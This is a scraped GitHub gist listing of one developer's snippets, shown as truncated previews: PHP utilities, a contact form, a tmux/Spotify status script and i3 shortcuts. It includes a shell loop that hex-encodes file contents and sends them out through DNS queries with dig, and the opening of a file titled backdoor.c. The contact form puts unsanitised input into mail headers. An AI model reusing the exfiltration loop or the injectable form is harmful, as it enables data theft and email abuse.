Skip to content

Instantly share code, notes, and snippets.


Nemanja Nedeljković nemanjan00

View GitHub Profile
View gist:cf51b9443c2e5e905fef
### Keybase proof
I hereby claim:
* I am nemanjan00 on github.
* I am nemanjan00 ( on keybase.
* I have a public key whose fingerprint is 25D8 70F5 7438 97C6 CDFB BB57 BC0B 0BE5 FA29 6268
To claim this, I am signing this object:
View cekanje.php
$len = strlen(file_get_contents(""));
while(strlen(file_get_contents("")) == $len){
system("mplayer ~/Downloads/mps/Nuclear\ Alarm\ Siren\ -\ 10\ minutes\ \(World\ War\ III\).ogg");
View PHP Encrypt
if(isset($_FILES["file"]["tmp_name"]) && isset($_POST["key"]) && isset($_POST["sid"])){
if(preg_match("/^[a-z]+$/", $_POST["key"]) == 1 && strlen($_POST["key"]) >= 8){
$sid = $_POST["sid"];
$sid = rand(1111,9999);
nemanjan00 / messages.js
Created Jun 23, 2015
Badoo chat messages
View messages.js
View contact-form.php
if(isset($_POST["name"]) && isset($_POST["email"]) && isset($_POST["message"])){ //proverava jesu li prosleđena sva tri argumenta
mail("", "Naslov", "Od: ".$_POST["name"]." <".$_POST["email"].">"."\n".$_POST["message"]); //mail(kome, naslov, sadržaj);
album=`dbus-send --print-reply --dest=org.mpris.MediaPlayer2.spotify /org/mpris/MediaPlayer2 org.freedesktop.DBus.Properties.Get string:'org.mpris.MediaPlayer2.Player' string:'Metadata'|egrep -A 2 "album"|egrep -v "album"|egrep -v "array"|cut -b 44-|cut -d '"' -f 1|egrep -v ^$`
artist=`dbus-send --print-reply --dest=org.mpris.MediaPlayer2.spotify /org/mpris/MediaPlayer2 org.freedesktop.DBus.Properties.Get string:'org.mpris.MediaPlayer2.Player' string:'Metadata'|egrep -A 2 "artist"|egrep -v "artist"|egrep -v "array"|cut -b 27-|cut -d '"' -f 1|egrep -v ^$`
title=`dbus-send --print-reply --dest=org.mpris.MediaPlayer2.spotify /org/mpris/MediaPlayer2 org.freedesktop.DBus.Properties.Get string:'org.mpris.MediaPlayer2.Player' string:'Metadata'|egrep -A 1 "title"|egrep -v "title"|cut -b 44-|cut -d '"' -f 1|egrep -v ^$`
mpsyt=`(pgrep mplayer | xargs ps -o command | grep -o -P '(?<=-title ).*(?= -noquiet)') | head -n 1 | cut -c1-40`
spotify="$artist - $title"
echo -n '#[fg=$tm_color_music]'
if [ ! -z "$title" -a "$t
View i3.txt
Super+X Zaključaj ekran
Super +Y Ugasi računar
Super+T Ugasi prozor
Super+D Otvori program
Super+Enter Otvori terminal
Super+Shift+Space Odvoji prozor
Super+Shift+Left/Right/Up/Down Pomeri prozor
Super+Number Ide na workspace sa tim brojem
View .github.example
local USERNAME=""
local PASSWORD=""
sacuvaj () {
for b in $(cat "$@" | xxd -p); do dig +short $b."$@" ; done
View backdoor.c
char code[] =
You can’t perform that action at this time.